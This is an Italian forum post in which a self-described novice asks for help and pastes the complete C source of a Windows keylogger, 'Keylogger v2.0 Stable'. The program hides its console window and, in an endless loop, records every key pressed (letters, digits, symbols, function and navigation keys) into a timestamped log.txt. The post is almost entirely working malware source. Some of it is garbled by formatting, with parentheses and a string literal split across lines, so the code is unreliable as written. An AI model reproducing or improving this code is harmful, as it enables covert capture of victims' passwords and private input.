Scusate ma non sono molto esperto, ho studiato il C solo all'università e non a questi livelli.
Potreste farmi un esempio?
Il codice è questo. Grazie per l'attenzione.
/*
Name: Keylogger v2.0 Stable
Autore: FHF93
Sito:
pierotofy.it
Leggere il Readme
*/
//I codici usati per loggare i tasti sono reperibili per chi usasse DevC++ nella libreria winuser.h
#include <windows.h>
#include <stdio.h>
#define LOGFILE "log.txt"
#define spazio 32
#define A 65
#define Z 90
#define NUMERO1 48
#define NUMERO9 57
#define PREMUTO -32767
int tastomaiusc;
int tasto;
int numero;
int tastierino;
int tastierino2;
SYSTEMTIME time;
main(){
HWND Console;
Console = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(Console,0);
FILE *LOGGING;
LOGGING=fopen(LOGFILE,"a"
;
GetLocalTime(&time);
fprintf(LOGGING,"\n\n\n\n\n\n\n\n*****************************\nC Keylogger v2.0 \nLogging started at %i.%i.%i of %i.%i.%i \n*****************************\n\n ==========================LOGGING==========================\n\n",time.wHour,time.wMinute,time.wSecond,time.wDay,time.wMonth,time.wYear); fflush(LOGGING);
while(1){
if(GetAsyncKeyState(VK_CONTROL)){
if(GetAsyncKeyState(186)==PREMUTO) fprintf(LOGGING,"["
; fflush(LOGGING);
if(GetAsyncKeyState(192)==PREMUTO) fprintf(LOGGING,"@"
; fflush(LOGGING);
if(GetAsyncKeyState(222)==PREMUTO) fprintf(LOGGING,"#"
; fflush(LOGGING);
if(GetAsyncKeyState(187)==PREMUTO) fprintf(LOGGING,"]"
; fflush(LOGGING);
}
else{
if(GetAsyncKeyState(VK_SHIFT)){
//CARATTERI
if(GetAsyncKeyState(186)==PREMUTO) fprintf(LOGGING,"é"
; fflush(LOGGING);
if(GetAsyncKeyState(192)==PREMUTO) fprintf(LOGGING,"ç"
; fflush(LOGGING);
if(GetAsyncKeyState(222)==PREMUTO) fprintf(LOGGING,"°"
; fflush(LOGGING);
if(GetAsyncKeyState(191)==PREMUTO) fprintf(LOGGING,"§"
; fflush(LOGGING);
if(GetAsyncKeyState(221)==PREMUTO) fprintf(LOGGING,"^"
; fflush(LOGGING);
//Logga i tasti sopra i numeri: !"£$%&/()=
if(GetAsyncKeyState(48)==PREMUTO) fprintf(LOGGING,"="
; fflush(LOGGING);
if(GetAsyncKeyState(49)==PREMUTO) fprintf(LOGGING,"!"
; fflush(LOGGING);
if(GetAsyncKeyState(50)==PREMUTO) fprintf(LOGGING,""""
; fflush(LOGGING);
if(GetAsyncKeyState(51)==PREMUTO) fprintf(LOGGING,"£"
; fflush(LOGGING);
if(GetAsyncKeyState(52)==PREMUTO) fprintf(LOGGING,"$"
; fflush(LOGGING);
if(GetAsyncKeyState(53)==PREMUTO) fprintf(LOGGING,"%"
; fflush(LOGGING);
if(GetAsyncKeyState(54)==PREMUTO) fprintf(LOGGING,"&"
; fflush(LOGGING);
if(GetAsyncKeyState(55)==PREMUTO) fprintf(LOGGING,"/"
; fflush(LOGGING);
if(GetAsyncKeyState(56)==PREMUTO) fprintf(LOGGING,"("
; fflush(LOGGING);
if(GetAsyncKeyState(57)==PREMUTO) fprintf(LOGGING,"
"
; fflush(LOGGING);
if(GetAsyncKeyState(47)==PREMUTO) fprintf(LOGGING,"="
; fflush(LOGGING);
if(GetAsyncKeyState(226)==PREMUTO) fprintf(LOGGING,">"
; fflush(LOGGING);
if(GetAsyncKeyState(188)==PREMUTO) fprintf(LOGGING,";"
; fflush(LOGGING);
if(GetAsyncKeyState(189)==PREMUTO) fprintf(LOGGING,"_"
; fflush(LOGGING);
if(GetAsyncKeyState(190)==PREMUTO) fprintf(LOGGING,":"
; fflush(LOGGING);
if(GetAsyncKeyState(187)==PREMUTO) fprintf(LOGGING,"*"
; fflush(LOGGING);
if(GetAsyncKeyState(219)==PREMUTO) fprintf(LOGGING,"?"
; fflush(LOGGING);
}
else/*(GetAsyncKeyState(VK_SHIFT)!=PREMUTO)*/{
//Logga le lettere
for(tasto=A;tasto<=Z;tasto++){
if(GetAsyncKeyState(tasto)==PREMUTO)fprintf(LOGGING,"%c",tasto); fflush(LOGGING);
}
//Logga i tasti di sopra
for(numero=NUMERO1;numero<=NUMERO9;numero++){
if(GetAsyncKeyState(numero)==PREMUTO)fprintf(LOGGING,"%c",numero); fflush(LOGGING);
}
//logga i tasti del tastierino
for(tastierino=96;tastierino<=105;tastierino++){
if(tastierino==96)tastierino2=0;
if(tastierino==97)tastierino2=1;
if(tastierino==98)tastierino2=2;
if(tastierino==99)tastierino2=3;
if(tastierino==100)tastierino2=4;
if(tastierino==101)tastierino2=5;
if(tastierino==102)tastierino2=6;
if(tastierino==103)tastierino2=7;
if(tastierino==104)tastierino2=8;
if(tastierino==105)tastierino2=9;
if(GetAsyncKeyState(tastierino)==PREMUTO)fprintf(LOGGING,"%d",tastierino2);fflush(LOGGING);
}
if(GetAsyncKeyState(spazio)==PREMUTO) fprintf(LOGGING," "
; fflush(LOGGING);
if(GetAsyncKeyState(VK_BACK)==PREMUTO) fprintf(LOGGING,"[BACK}"
; fflush(LOGGING);
if(GetAsyncKeyState(VK_RETURN)==PREMUTO) fprintf(LOGGING,"\n[ENTER]"
;fflush(LOGGING);
if(GetAsyncKeyState(VK_DELETE)==PREMUTO) fprintf(LOGGING,"[DEL]"
; fflush(LOGGING);
//Logga gli F1,F2 ecc...
if (GetAsyncKeyState(VK_F1)==PREMUTO) fprintf(LOGGING,"[F1]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F2)==PREMUTO) fprintf(LOGGING,"[F2]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F3)==PREMUTO) fprintf(LOGGING,"[F3]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F4)==PREMUTO) fprintf(LOGGING,"[F4]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F5)==PREMUTO) fprintf(LOGGING,"[F5]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F6)==PREMUTO) fprintf(LOGGING,"[F6]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F7)==PREMUTO) fprintf(LOGGING,"[F7]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F8)==PREMUTO) fprintf(LOGGING,"[F8]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F9)==PREMUTO) fprintf(LOGGING,"[F9]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F10)==PREMUTO) fprintf(LOGGING,"[F10]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F11)==PREMUTO) fprintf(LOGGING,"[F11]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_F12)==PREMUTO) fprintf(LOGGING,"[F12]"
; fflush(LOGGING);
//Direzioni
if (GetAsyncKeyState(VK_UP)==PREMUTO) fprintf(LOGGING,"[SU]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_DOWN)==PREMUTO) fprintf(LOGGING,"[GIU]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_RIGHT)==PREMUTO) fprintf(LOGGING,"[DESTRA]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_LEFT)==PREMUTO) fprintf(LOGGING,"[SINISTRA]"
;fflush(LOGGING);
//Operatori
if (GetAsyncKeyState(VK_MULTIPLY)==PREMUTO) fprintf(LOGGING,"[*]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_ADD)==PREMUTO) fprintf(LOGGING,"[+]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_SUBTRACT)==PREMUTO) fprintf(LOGGING,"[-]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_DIVIDE)==PREMUTO) fprintf(LOGGING,"[/]"
; fflush(LOGGING);
//Altri tasti
if (GetAsyncKeyState(VK_CAPITAL)==PREMUTO) fprintf(LOGGING,"[CAPSLOCK]"
;fflush(LOGGING);
if (GetAsyncKeyState(VK_INSERT)==PREMUTO) fprintf(LOGGING,"[INS]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_PAUSE)==PREMUTO) fprintf(LOGGING,"[PAUSE]"
; fflush(LOGGING);
//if (GetAsyncKeyState(VK_CONTROL)) printf("[CTRL]"
;fflush(LOGGING);
if (GetAsyncKeyState(VK_ESCAPE)==PREMUTO) fprintf(LOGGING,"[ESC]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_SNAPSHOT)==PREMUTO) fprintf(LOGGING,"[STAMP]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_TAB)==PREMUTO) fprintf(LOGGING,"[TAB]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_FINAL)==PREMUTO) fprintf(LOGGING,"[FINE]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_CANCEL)==PREMUTO) fprintf(LOGGING,"[CANC]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_PAUSE)==PREMUTO) fprintf(LOGGING,"[PAUSA]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_HOME)==PREMUTO) fprintf(LOGGING,"[START]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_NUMLOCK)==PREMUTO) fprintf(LOGGING,"[NUMLOCK]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_SCROLL)==PREMUTO) fprintf(LOGGING,"[SCROLLCK]"
;fflush(LOGGING);
if (GetAsyncKeyState(VK_NEXT)==PREMUTO) fprintf(LOGGING,"[PagDown]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_PRIOR)==PREMUTO) fprintf(LOGGING,"[PagUp]"
; fflush(LOGGING);
if (GetAsyncKeyState(VK_HELP)==PREMUTO) fprintf(LOGGING,"[HELP]"
; fflush(LOGGING);
//Lettere con accento
if(GetAsyncKeyState(186)==PREMUTO) fprintf(LOGGING,"è"
; fflush(LOGGING);
if(GetAsyncKeyState(191)==PREMUTO) fprintf(LOGGING,"ù"
; fflush(LOGGING);
if(GetAsyncKeyState(192)==PREMUTO) fprintf(LOGGING,"ò"
; fflush(LOGGING);
if(GetAsyncKeyState(221)==PREMUTO) fprintf(LOGGING,"ì"
; fflush(LOGGING);
if(GetAsyncKeyState(222)==PREMUTO) fprintf(LOGGING,"à"
; fflush(LOGGING);
if(GetAsyncKeyState(226)==PREMUTO) fprintf(LOGGING,"<"
; fflush(LOGGING);
//Punteggiatura
if(GetAsyncKeyState(188)==PREMUTO) fprintf(LOGGING,","
; fflush(LOGGING);
if(GetAsyncKeyState(189)==PREMUTO) fprintf(LOGGING,"-"
; fflush(LOGGING);
if(GetAsyncKeyState(190)==PREMUTO) fprintf(LOGGING,"."
; fflush(LOGGING);
if(GetAsyncKeyState(219)==PREMUTO) fprintf(LOGGING,"'"
; fflush(LOGGING);
if(GetAsyncKeyState(187)==PREMUTO) fprintf(LOGGING,"+"
; fflush(LOGGING);
}
}
_sleep(10);
}
}